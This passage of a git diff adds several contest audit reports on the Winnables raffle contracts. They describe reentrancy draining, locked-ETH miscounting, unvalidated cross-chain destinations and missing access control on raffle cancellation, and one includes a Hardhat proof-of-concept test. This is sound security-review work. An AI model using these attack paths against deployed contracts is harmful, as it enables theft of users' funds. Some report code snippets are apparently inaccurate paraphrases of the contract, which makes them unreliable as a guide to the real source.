current Ether price = $2650) +Gas prices can fluctuate, potentially doubling or tripling during periods of high network congestion. + +With the network fee fixed at $0.50, the total message cost is approximately $3. + +The cost of sending a message from Ethereum to Avalanche is approximately $0.15, plus a network fee of $0.50, totaling $0.65. The protocol needs to pay an additional estimated $4 (accounting for the costs we initially considered negligible) in CCIP fee token for each unsuccessful raffle creation attempt. + +Although the cost per transaction might appear insignificant, the cumulative effect of repeated failed attempts can become substantial. Moreover, if this exploit is used to repeatedly disrupt the core functionality of the protocol, leading to a denial of service (DoS), it becomes a serious issue that needs to be addressed. +## Impact + +Denial Of Service + loss of funds +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L278 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L434 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L264 +## Tool used + +Manual Review + +## Recommendation + +Consider adding a check in `_checkShouldCancel` so that only admin can cancel a raffle with `PRIZE_LOCKED` status + +```diff +function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { +- _checkShouldCancel(raffleId); ++ _checkShouldCancel(raffleId, msg.sender); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` + +```diff + function _checkShouldCancel(uint256 raffleId, address caller) internal view { + Raffle storage raffle = _raffles[raffleId]; +- if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; ++ if (raffle.status == RaffleStatus.PRIZE_LOCKED && _hasRole(caller, 0)) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` \ No newline at end of file diff --git a/001/471.md b/001/471.md new file mode 100644 index 0000000..a31c733 --- /dev/null +++ b/001/471.md @@ -0,0 +1,77 @@ +Soft Gingham Panther + +Medium + +# ETH Balance Discrepancy in Raffle Refunds Causes Potential Fund Freezing + +## Summary +A critical flaw has been identified in the WinnablesTicketManager contract's `refundPlayers` function. The function fails to adjust the `_lockedETH` variable when processing refunds, leading to a mismatch between the actual and recorded locked ETH amounts. This discrepancy can result in the unintended retention of funds within the contract. + +## Vulnerability Detail +The core issue lies in the `refundPlayers` function's implementation: + +1. When tickets are purchased, the `_lockedETH` value is increased. +2. Upon raffle cancellation and subsequent refunds, ETH is returned to players. +3. However, the `_lockedETH` variable remains unchanged during the refund process. + +This oversight creates a growing disparity between the contract's ETH balance and the `_lockedETH` value over time, especially if multiple raffles are cancelled and refunded. + +## Impact +The consequences of this vulnerability are significant: + +1. Fund Immobilization: The contract owner may be unable to withdraw legitimately available ETH. +2. Misleading Contract State: The `_lockedETH` value will incorrectly suggest that more ETH is locked than actually is. +3. Potential for Abuse: An attacker could exploit this flaw to artificially inflate `_lockedETH`, effectively freezing the contract's funds. + +In a worst-case scenario, this could render all ETH in the contract inaccessible through normal withdrawal mechanisms. + +## Code Snippet +[Reference](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L215) +```solidity +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + require(raffle.status == RaffleStatus.CANCELED, "Raffle not canceled"); + + for (uint256 i = 0; i < players.length; i++) { + address player = players[i]; + uint256 refundAmount = calculateRefund(raffleId, player); + if (refundAmount > 0) { + transferETH(player, refundAmount); + // _lockedETH is not decreased here + } + } +} +``` + +## Tool used +Manual Review + +## Recommendation +To address this vulnerability, implement the following changes: + +1. Track the total refunded amount within the `refundPlayers` function. +2. Decrease `_lockedETH` by the total refunded amount at the end of the function. + +Here's a proposed fix: + +```solidity +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + require(raffle.status == RaffleStatus.CANCELED, "Raffle not canceled"); + + uint256 totalRefunded = 0; + + for (uint256 i = 0; i < players.length; i++) { + address player = players[i]; + uint256 refundAmount = calculateRefund(raffleId, player); + if (refundAmount > 0) { + transferETH(player, refundAmount); + totalRefunded += refundAmount; + } + } + + _lockedETH -= totalRefunded; +} +``` + +This modification ensures that `_lockedETH` accurately reflects the amount of ETH locked in active raffles after refunds are processed, preventing the fund locking issue and maintaining the contract's integrity. diff --git a/001/472.md b/001/472.md new file mode 100644 index 0000000..23b3d3a --- /dev/null +++ b/001/472.md @@ -0,0 +1,76 @@ +Ripe Gingham Dove + +High + +# WinnablesPrizeManager:Winner of any nft id of ETH type can stole all the contract funds due to lack of reentrancy protection + +### Summary + +In the claimPrize(uint256) the checks and the effects are done after the external call, which gives the attacker ability to keep reentring the contract and keep draining the funds. + +- https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L116-L118 + + + +### Root Cause + + +```sol + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { + _tokensLocked[raffle.tokenAddress] -= raffle.amount; + } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { + _ethLocked -= _ethRaffles[raffleId]; + } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) + revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } + + function _sendETHPrize(uint256 amount, address winner) internal { + (bool success, ) = winner.call{value: amount}(""); + if (!success) revert ETHTransferFail(); + } +``` +Here you can see when the raffle is of ETH type, raffle status is checked and updated only after the funds are sent to the winner via _sendETHPrize(uint,address), the worst part is that there is no nonReentrant modifier applied. + +That means the winner can keep making reentrant calls to claimPrize(uint) and keep stealing in denominations of his reward amount until the whole contract is drained. + + + +### Attack Path + +Imagine there are multiple ETH raffles active, which means there are lot of ETH in the winnablesPrizeManager. Suppose the contract holds 50 ethers +- Lets say raffleId with 33 has winner reward of about 2 ether; +- suppose attacker had joined this raffle via reentrancy exploit smart contract, remember he can join via mulitple contracts in order to increase his chances of attack. +- stars align sometimes! this time one of the attack contracts of the attacker became winner of the raffle +- Now he must only be able to claim 2 ethers, since that is the reward for that raffle id. +- But, the attacker exploits the reentrancy, and ends up claiming all the 50 ethers in the contract. + + +### Impact + +All the ETH in the WinnablesPrizeManager will get stolen. + +### PoC + +!required + +### Mitigation + +Apply nonReentrant modifier on claimPrize(uint) and make sure to follow proper C.E.I pattern \ No newline at end of file diff --git a/001/473.md b/001/473.md new file mode 100644 index 0000000..702e93a --- /dev/null +++ b/001/473.md @@ -0,0 +1,62 @@ +Keen Scarlet Loris + +Medium + +# The protocol doesn't properly check a cross-chain message receiver and chain selector + +## Summary +The protocol doesn't properly check a cross-chain message receiver and chain selector + +## Vulnerability Detail +WinnablesTicketManager.sol::`propagateRaffleWinner()` and `createRaffle()` are both public functions that are supposed to be called only once per raffle, because they change a raffle's status and revert if invoked again for the same raffle. These functions send a cross-chain message, but they don't properly sanitize the `address prizeManager`, `uint64 chainSelector` arguments. Because of that, a malicious user could actually invoke the functions with an arbitrary address/chain selector and the cross-chain message won't be received on the protocol address but on the malicious user's. Since the raffle status has been changed, there's no way to call these functions again, so the Ethereum contract won't ever receive the message from the Avalanche contract. +```solidity +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` +```solidity +function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` +```solidity +function _sendCCIPMessage( + address ccipDestAddress, + uint64 ccipDestChainSelector, + bytes memory data + ) internal returns(bytes32 messageId) { + if (ccipDestAddress == address(0) || ccipDestChainSelector == uint64(0)) { // not a proper check + revert MissingCCIPParams(); + } + +``` +## Impact +A malicious user can prevent the receiving of messages from Avalanche contract to Ethereum contract. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPSender.sol#L15-L50 + +## Tool used + +Manual Review + +## Recommendation +Implement a proper check on the specified address and chain selector or hardcode those values. \ No newline at end of file diff --git a/001/474.md b/001/474.md new file mode 100644 index 0000000..6cdc41b --- /dev/null +++ b/001/474.md @@ -0,0 +1,239 @@ +Raspy Spruce Parrot + +High + +# `refundPlayers()` will prevent Admin from withdrawing assets + +### Summary + +Missing subtraction from `_lockedETH` in [refundPlayers()]() will prevent the Admin to withdraw balance from purchased tickets. + +### Root Cause + +The [withdrawETH()]() function is used for withdrawing the assets, used for purchased tickets for raffles. The withdrawable balance is calculated as we subtract `_lockedETH` (which is the total value of purchased tickets of *active* raffles) from address' balance. +```solidity + function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { +@> balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); + } +``` +The only place where `_lockedETH` is reduced is in [propagateRaffleWinner()](). + +If the number increases, the value of `_lockedETH` will be bigger than the address' balance, resulting in underflow. + +### Internal pre-conditions + +- At least one raffle is cancelled and participants are refunded. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Two raffles are created - one with 10 tickets for 1.5 ETH per ticket, and one for 10 tickets for 0.2 ETH per ticket. +2. ***User1*** buys 2 tickets for 3 ETH for the first raffle, using [buyTickets()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L182-L210). => `_lockedETH = 3 ether` and `address().balance = 3 ether` +3. ***User2*** and ***User3*** buy 5 tickets each for total of 2 ETH for the second raffle, using [buyTickets()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L182-L210). => `_lockedETH = 5 ether` and `address.balance = 5 ether` +4. The first raffle expires with less tickets bought than required, so no winner is drawn. +5. The first raffle is cancelled, using [cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288). +6. ***User1*** is refunded for the 2 tickets he bought, using [refundPlayers()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228). => `_lockedETH = 5 ether` and `address.balance = 2 ether` +7. A winner is drawn for the second raffle, using [drawWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L310-L329). +8. A winner is selected when [fulfillRandomWords()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L350-L361) is called. +9. The winner is propagated using [propagateRaffleWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345). => `_lockedETH = 3 ether` and `address.balance = 2` +10. The Admin attempts to withdraw the assets using [withdrawETH()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L300-L306), but it will fail, because `2 - 3 < 0`. + +### Impact + +- The protocol will never be able to withdraw the assets, used to buy tickets. + +### PoC + +```javascript +const { ethers } = require('hardhat'); +const { expect } = require('chai'); +const helpers = require('@nomicfoundation/hardhat-network-helpers'); + +const { + getWalletWithEthers, blockTime, timeSeconds, +} = require('./common/utils'); +const { ccipDeployTicketManager } = require('../utils/demo'); +const { randomWord } = require('./common/chainlink'); + +const { whileImpersonating } = require('../utils/impersonate'); + +ethers.utils.Logger.setLogLevel(ethers.utils.Logger.levels.ERROR); + +describe('CCIP Ticket Manager', () => { + let ccipRouter; + let link; + let signers; + let manager; + let api; + let coordinator; + let counterpartContractAddress; + + + before(async () => { + signers = await ethers.getSigners(); + const result = await ccipDeployTicketManager(); + link = result.link; + manager = result.ticketManager; + ccipRouter = result.ccipRouter; + coordinator = result.coordinator; + + api = await getWalletWithEthers(); + await (await manager.setRole(api.address, 1, true)).wait(); + counterpartContractAddress = signers[1].address; + }); + + describe("Issues with TicketManager", () => { + before(async () => { + // Mint LINK + await (await link.mint(manager.address, ethers.utils.parseEther('100'))).wait(); + + // Simulate message from CCIP for prize locked + const sourceChainSelector = 1; + await (await manager.setCCIPCounterpart(counterpartContractAddress, sourceChainSelector, true)).wait(); + const firstPrizeLockTx = await whileImpersonating(ccipRouter.address, ethers.provider, async (signer) => + manager.connect(signer).ccipReceive({ + messageId: ethers.constants.HashZero, + sourceChainSelector: 1, + sender: '0x' + counterpartContractAddress.slice(-40).padStart(64, '0'), + data: '0x0000000000000000000000000000000000000000000000000000000000000001', + destTokenAmounts: [] + }) + ); + + const secondPrizeLockTx = await whileImpersonating(ccipRouter.address, ethers.provider, async (signer) => + manager.connect(signer).ccipReceive({ + messageId: ethers.constants.HashZero, + sourceChainSelector: 1, + sender: '0x' + counterpartContractAddress.slice(-40).padStart(64, '0'), + data: '0x0000000000000000000000000000000000000000000000000000000000000002', + destTokenAmounts: [] + }) + ); + await firstPrizeLockTx.wait(); + await secondPrizeLockTx.wait(); + + // Create 2 raffles + const now = await blockTime(); + const raffle1Tx = manager.createRaffle( + 1, + now, + now + timeSeconds.hour, + 5, + 10, + 10 + ); + const raffle2Tx = manager.createRaffle( + 2, + now, + now + timeSeconds.hour, + 5, + 10, + 10 + ); + + + + }) + it('Should prevent Admin from withdrawing assets', async () => { + const user1 = await getWalletWithEthers(); + const user2 = await getWalletWithEthers(); + const user3 = await getWalletWithEthers(); + const currentBlock = await ethers.provider.getBlockNumber(); + + // Buy 2 tickets from the first, and 10 tickets from the second + const sig = await createSig(user1.address, 0, 1, 2, currentBlock, 3); + await (await manager.connect(user1).buyTickets(1, 2, currentBlock + 10, sig, { value: ethers.utils.parseEther('3') })).wait(); + + const sig2 = await createSig(user2.address, 0, 2, 5, currentBlock, 1); + await (await manager.connect(user2).buyTickets(2, 5, currentBlock + 10, sig2, { value: ethers.utils.parseEther('1') })).wait(); + + const sig3 = await createSig(user3.address, 0, 2, 5, currentBlock, 1); + await (await manager.connect(user3).buyTickets(2, 5, currentBlock + 10, sig3, { value: ethers.utils.parseEther('1') })).wait(); + + + const balance = await ethers.provider.getBalance(manager.address); + + expect(balance).to.eq(ethers.utils.parseEther('5')); + + // Advance time + await helpers.time.increase(timeSeconds.hour); + + // Cancel the first raffle + const cancelTx = await manager.cancelRaffle(counterpartContractAddress, 1, 1); + const { events } = await cancelTx.wait(); + expect(events).to.have.lengthOf(3); + const ccipMessageEvent = ccipRouter.interface.parseLog(events[0]); + expect(ccipMessageEvent.name).to.eq('MockCCIPMessageEvent'); + expect(ccipMessageEvent.args.data).to.eq('0x000000000000000000000000000000000000000000000000000000000000000001'); + + // Refund the first user + const user1BalanceStart = await ethers.provider.getBalance(user1.address); + await (await manager.refundPlayers(1, [user1.address])).wait(); + const user1BalanceEnd = await ethers.provider.getBalance(user1.address); + // Validate he has received his funds back + expect(user1BalanceEnd.sub(user1BalanceStart)).to.eq(ethers.utils.parseEther('3')); + + + // Draw the winner of the second raffle + await (await manager.drawWinner(2)).wait(); + await (await coordinator.fulfillRandomWordsWithOverride(1, manager.address, [randomWord()])).wait(); + // Propagate the winner and unlock the assets from tickets purchased + await (await manager.propagateRaffleWinner(counterpartContractAddress, 1, 2)).wait(); + + // Validate that the address has funds + const balanceEnd = await ethers.provider.getBalance(manager.address); + expect(balanceEnd).to.be.greaterThan(0); + + // Validate that we cannot receive them + await expect(manager.withdrawETH()).to.be.revertedWithCustomError(manager, 'ETHTransferFail'); + }); + + async function createSig(userAddress, nonce, raffleId, ticketCount, currentBlock, value) { + const sig = await api.signMessage(ethers.utils.arrayify( + ethers.utils.solidityKeccak256(['address', 'uint256', 'uint256', 'uint16', 'uint256', 'uint256'], [ + userAddress, + nonce, + raffleId, + ticketCount, + currentBlock + 10, + ethers.utils.parseEther(value.toString()) + ]) + )); + return sig; + } + }); +}); + + + + +``` + +### Mitigation + +```diff +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length;) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); / + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); ++ _lockedEth -= amountToSend; + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { + ++i; + } + } + } +``` \ No newline at end of file diff --git a/001/475.md b/001/475.md new file mode 100644 index 0000000..ecf1eba --- /dev/null +++ b/001/475.md @@ -0,0 +1,35 @@ +Rich Peach Kookaburra + +Medium + +# minTicketsThreshold check inconsistency in function _checkShouldDraw and function _checkShouldCancel. + +## Summary +currentTicketSold must be equal to/greater than minTicketsThreshold in function _checkShouldDraw but in function _checkShouldCancel, currentTicketSold must be equal to/less than minTicketsThreshold.so if currentTicketSold is reached to/equal to minTicketsThreshold, then cancelRaffle is still possible which is unfair. + + +## Vulnerability Detail +1. Let’s assume, the current raffleId is 1 and the raffleId’s minTicketsThreshold = 100. + +2. Now raffleId 1’s 100 tickets are sold. So currentTicketSold = 100. + +3. After That, no one buys raffleId 1’s tickets(i.e currentTicketSold is still 100) and raffle.endsAt is also reached(i.e current time is bigger than raffle.endsAt). + +4. Now function drawWinner is called which calls function _checkShouldDraw, see function _checkShouldDraw, as currentTicketSold is equal to minTicketsThreshold and current time is bigger than raffle.endsAt, so function drawWinner will be executed. + +5. If before calling function drawWinner, the function cancelRaffle is called which calls function _checkShouldCancel, the function cancelRaffle will be executed even though raffleId’s minTicketsThreshold is reached. + + +## Impact +Attackers can frontrun the function cancelRaffle before function drawWinner when currentTicketSold is equal to minTicketsThreshold and current time is bigger than raffle.endsAt. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L440 +## Tool used + +Manual Review + +## Recommendation +Instead of if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + Put this, if (supply >= raffle.minTicketsThreshold) revert TargetTicketsReached(); in function _checkShouldCancel. + diff --git a/001/476.md b/001/476.md new file mode 100644 index 0000000..de6da1b --- /dev/null +++ b/001/476.md @@ -0,0 +1,60 @@ +Teeny Marmalade Ladybug + +High + +# Smart Wallet Users Cannot Claim Prizes, Causing Funds to Be Stuck in the `WinnablesPrizeManager` Contract + +### Summary + +Account abstraction wallets or smart wallets have different addresses on different blockchains, which can cause prize claims to fail for legitimate winners using these wallets. In this protocol, the `WinnablesPrizeManager` contract operates on Ethereum, while the `WinnablesTicketManager` and `WinnablesTicket` contracts are on Avalanche. + +Here's how the issue arises: + +1. Users purchase tickets through the `WinnablesTicketManager::buyTickets` function, which mints tickets and stores the user’s address in the contract. + +2. Raffle winners are selected using the `propagateRaffleWinner` function in the `WinnablesTicketManager` contract. The winner's Avalanche address is then sent to the `WinnablesPrizeManager` contract on Ethereum via a Chainlink CCIP message: + ```solidity + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + ``` + +3. The message sent contains the winner’s Avalanche wallet address, which is stored in the `WinnablesPrizeManager` contract. +```solidity + (raffleId, winner) = _decodeWinnerDrawnMessage(message.data); + _rafflePrize[raffleId].winner = winner; +``` +When the winner tries to claim their prize using the `claimPrize` function in the `WinnablesPrizeManager` contract on Ethereum, the transaction reverts because their Ethereum address differs from their Avalanche wallet address. Moreover, as long as the raffle is not canceled, the admin cannot withdraw the funds from the `WinnablesPrizeManager` contract. + +As a result, the funds remain locked in the contract with no way to retrieve them. Additionally, a malicious actor with the same address on Ethereum could potentially claim the prize. + +### Root Cause + +The design choice of associating prize claims with specific wallet addresses fails for account abstraction wallets or smart wallets. These wallets have different addresses across different blockchains, leading to an inability for legitimate winners to claim their prizes. The `claimPrize` function relies solely on address matching without considering cross-chain wallet address variations. + +### Internal pre-conditions + +A user wins a raffle using an account abstraction wallet. + +### External pre-conditions + +None + +### Attack Path + +1. A user wins a raffle using a smart wallet. +2. The `WinnablesPrizeManager` contract on Ethereum records the winning address. +3. The user attempts to claim their prize using their smart wallet on Ethereum, but the address does not match the recorded winner address. +4. The claim fails, leaving the prize amount stuck in the contract. +5. Alternatively, a malicious actor with the same address on Ethereum as the smart wallet’s address attempts to claim the prize. +6. The malicious actor successfully claims the prize, although this scenario is less likely. + +### Impact + +The legitimate winner cannot claim their prize, leading to the loss of their reward. The prize amount remains stuck in the contract with no method to retrieve it, even by the admin. The Winnables protocol suffers from locked funds and a potential reputation hit due to the inability to deliver prizes to legitimate winners. Additionally, in rare cases, a malicious actor may claim the prize, leading to an unauthorized gain. + +### PoC + +_No response_ + +### Mitigation + +Modify the `WinnablesTicketManager::propagateRaffleWinner` function so that it only selects the winner. Introduce a separate function that allows the winner to update their address if necessary before sending the CCIP message. This adjustment ensures that users with smart wallets can successfully claim their prize on Ethereum. \ No newline at end of file diff --git a/001/477.md b/001/477.md new file mode 100644 index 0000000..d3ed7d0 --- /dev/null +++ b/001/477.md @@ -0,0 +1,56 @@ +Future Butter Horse + +High + +# Due to improper access control and an incorrect validation check, anyone can cancel a raffle with the status `PRIZE_LOCKED` + +## Summary + +The [`cancelRaffle`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288) function lacks proper access control, enabling anyone to repeatedly cancel raffles with `PRIZE_LOCKED` status. + +## Vulnerability Detail + +The [`cancelRaffle`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288) function lacks access control, allowing anyone to call it. The function's restrictions are implemented in the internal `_checkShouldCancel` function. A raffle can only be canceled when it has ended and the sold NFT target hasn't been reached. In this scenario, anyone should be able to cancel, enabling refunds for all participants. + +However, there's a check that bypasses all these restrictions if the status is `PRIZE_LOCKED`. This check is incomplete because only admins should be able to cancel before the raffle starts (i.e., when the status is `PRIZE_LOCKED`). + +```solidity +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; +@> if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); +} +``` + +## Impact + +After the admin locks the prize and sets the raffle status to `PRIZE_LOCKED`, just before the `WinnablesTicketManager.createRaffle` call, anyone can invoke `WinnablesTicketManager.cancelRaffle` to prevent the raffle's creation. This action can be repeated indefinitely, effectively blocking the entire protocol's functionality. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L436 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288 + +## Tool used + +Manual Review + +## Recommendation + +The ability to cancel a raffle with `PRIZE_LOCKED` status should be restricted to admins only. + +```diff +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; +- if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; ++ if (raffle.status == RaffleStatus.PRIZE_LOCKED && _checkRole(msg.sender, 0)) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); +} +``` \ No newline at end of file diff --git a/001/479.md b/001/479.md new file mode 100644 index 0000000..b0c2d9e --- /dev/null +++ b/001/479.md @@ -0,0 +1,62 @@ +Large Foggy Troll + +Medium + +# Raffle can be cancelled even if minTicketsThreshold is reached + +### Summary + +Because of the incorrect check in _checkShouldCancel a raffle that has reached the minTicketsThreshold will be allowed to be cancelled. + +### Root Cause + +In `WInnablesTicketManager.sol:440` the `if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached();` check allows raffles that have reached the minTicketsThreshold also to be cancelled. +(https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L434-L441) + +### Internal pre-conditions + +1. Raffle must end with supply = minTicketsThreshold. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. When a raffle ends with tickets = minTicketsThreshold, assume a user calls the cancelRaffle function which in turn calls the _checkShouldCancel function. + +2. Inside the _checkShouldCancel function all the check pass and the raffle is allowed to be cancelled. +```solidity +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); // this check passes since supply = minTicketsThreshold + } +``` + +Note that if the intended behavior is for the raffle to be cancelled, still the raffle can be drawn. Either way the behavior is unintended. + +### Impact + +This behavior of the code enables unintended results from a raffle and thus a winner is deprived of his winnings. + +### PoC + +_No response_ + +### Mitigation + +Update the check in _checkShouldCancel as follows: +```solidity +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold || supply == raffle.minTicketsThreshold) revert TargetTicketsReached();// updated check + } +``` \ No newline at end of file diff --git a/001/480.md b/001/480.md new file mode 100644 index 0000000..c543efa --- /dev/null +++ b/001/480.md @@ -0,0 +1,51 @@ +Sticky Sandstone Cuckoo + +High + +# Funds stuck in the `WinnablesTicketManager` contract + +## Summary +Funds stuck in the `WinnablesTicketManager` contract due to outdated `_lockedETH` variable. + +## Vulnerability Detail +Consider the following scenario: +- raffle1 is created +- users are buying tickets: `_lockedETH` = x, `address(this).balance` = x +- raffle is canceled +- players are refunded: `_lockedETH` = x, `address(this).balance` = 0 +- raffle2 is created +- users are buying tickets: `_lockedETH` = x + y, `address(this).balance` = y +- winner is drawn and propagated: `_lockedETH` = x, `address(this).balance` = y +- admin tries to call `withdrawETH()`: `balance = address(this).balance - _lockedETH;` so `balance = y - x` is just the difference between `raffle2.totalRaised` and `raffle1.totalRaised`, but it should be `raffle2.totalRaised` +- The amount of wei stuck in the contract will be equal to `_lockedETH` + +## Impact +Funds stuck in the `WinnablesTicketManager` contract. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L303 + +## Tool used +Manual Review + +## Recommendation +Fix the bug by making the following change: +```diff +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & 